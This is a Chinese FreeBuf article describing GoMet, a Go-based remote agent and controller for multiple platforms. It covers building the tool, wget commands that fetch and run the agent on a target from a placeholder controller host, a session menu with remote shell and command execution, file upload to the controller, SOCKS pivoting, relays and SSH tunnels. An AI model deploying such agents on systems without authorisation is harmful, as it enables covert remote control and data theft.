freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

GoMet:Go编写的多平台Agent和控制器
2019-04-16 15:00:05

GoMet是一个Go编写的多平台Agent和控制器。Agent通过TLS隧道与其控制器通信。

构建

安装 Go (https://golang.org/dl/).

克隆存储库

git clone git@github.com:gomet-app/GoMet.git

并编译 GoMet

cd GoMet
go build ./...
go build .

基础使用

启动 GoMet

#> ./gomet


    ____       __  __      _
   / ___| ___ |  \/  | ___| |_
  | |  _ / _ \| |\/| |/ _ \ __|
  | |_| | (_) | |  | |  __/ |_
   \____|\___/|_|  |_|\___|\__|
                                     v0.0.1

server > info
Local listener: 0.0.0.0:8888
Socks listener: 127.0.0.1:9050
HTTP magic: khRoKbh3AZSHbix
server >
server > help

Commands:
  clear         清屏
  exit          退出
  generate      生成一个 agent
  help          显示帮助信息
  info          打印服务器信息
  routes        列出 routes
  sessions      列出 sessions

在目标系统上,下载相应操作系统和架构的Agent程序

wget https://<controller>:8888/khRoKbh3AZSHbix/agent/darwin/amd64 --no-check-certificate -O agent

控制器会自动使用正确的信息来构建 agent。

注意:“khRoKbh3AZSHbix”是由控制器随机生成的,在GoMet CLI中键入“info”以了更多关于它的内容。在本用例中,你必须添加 --no-check-certificate选项,因为默认TLS证书是自动签名的。

可用操作系统(参见 Golang GOOS):

linux
darwin
windows
solaris
...

可用架构(参见 Golang GOARCH):

386
amd64
arm
arm64
...

启动 agent

chmod +x agent
./agent

在 GoMet CLI 中,我们可以看到创建的新会话

server > New session 1 - <agent_hostname> - <agent_IP>:<agent_port> - darwin/amd64

会话交互

server > sessions open 1
session 1 > help

Commands:
  cat           打印文件
  clear         清屏
  close         关闭 session
  connect       连接一个本地端口到远端地址
  download      下载文件
  execute       执行命令
  exit          返回到服务器
  getuid        获取用户 Id
  help          显示帮助信息
  jobs          列出 jobs
  listen        连接一个远程端口到本地地址
  ls            列出文件
  netstat       列出连接
  ps            列出进程
  pwd           获取当前目录
  relay         中继侦听
  shell         远程shell交互
  streams       列出数据流
  upload        上传文件


session 1 >

TCP 转发

我们可以通过 agent TLS tunnel 双向转发 TCP 连接。

connect

在本地侦听端口(在控制器系统上)并将其转发到远程服务。

listen

在远程侦听端口(在代理系统上)并将其转发到本地服务。

Socks5 和 routing

我们可以在控制器上启用 Socks5 listener,以通过 agents 访问远程网络,并定义到不同会话的路由。

做一个中继

如果无法从目标系统访问控制器,我们可以在另一个 agent 上定义“中继”。 然后我们可以像控制器本身一样通过中继访问控制器。

session 1 > relay
Remote Address: 0.0.0.0:9999
session 1 >

并从目标系统

wget https://<relay>:9999/khRoKbh3AZSHbix/agent/darwin/amd64 --no-check-certificate -O agent

与控制器共享文件

控制器可以共享文件。

复制共享目录中的文件并使用 magic URL 下载

wget https://<controller>:8888/khRoKbh3AZSHbix/my_file --no-check-certificate

我们还可以将文件上传到控制器

wget https://<controller>:8888/khRoKbh3AZSHbix/other_file --no-check-certificate --post-file file

使用 CLI 生成 agent 

server > generate
OS: windows
Arch: amd64
Host: <controller>:8888
HTTP proxy:
HTTPS proxy:
Proxy username:
Proxy password:
Generated agent URL: https://<controller>:8888/Ye8o14kw1rpMJ8f/ySUxt7YT8X5fyat
server >

配置文件

默认配置文件位于 config/config.json 。

{
  "listenAddr":"0.0.0.0:8888",

  "socks": {
    "enable": true,
    "addr": "127.0.0.1:9050"
  },

  "api": {
    "enable": false,
    "addr": "127.0.0.1:9000"
  }
}

定义 tunnel

如果我们想通过隧道侦听,我们可以在配置文件中定义它。 实际上只有SSH。

{
  "listenAddr":"0.0.0.0:8888",

  "socks": {
    "enable": true,
    "addr": "127.0.0.1:9050"
  },

  "tunnel": {
    "listenAddr":"<exit_node>:8888",
    "nodes": [
      {
        "type":"ssh",
        "host": "<first_node>:22",
        "username": "user",
        "password": "user"
      },
      {
        "type":"ssh",
        "host": "<second_node>:22",
        "username": "user",
        "password": "user"
      },
      {
        "type":"ssh",
        "host": "<exit_node>:22",
        "username": "user",
        "password": "user"
      }
    ]
  }
}

自定义 TLS 证书

在 config 目录中会生成一个默认证书,但你也可以用你自己的证书来替换它。

注意:一旦更改了默认证书,则将重建所有 agents,因为证书的哈希值不同。

*参考来源:GitHub,FB小编secist编译,转载请注明来自FreeBuf.COM

# Go # GoMet # Agent
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者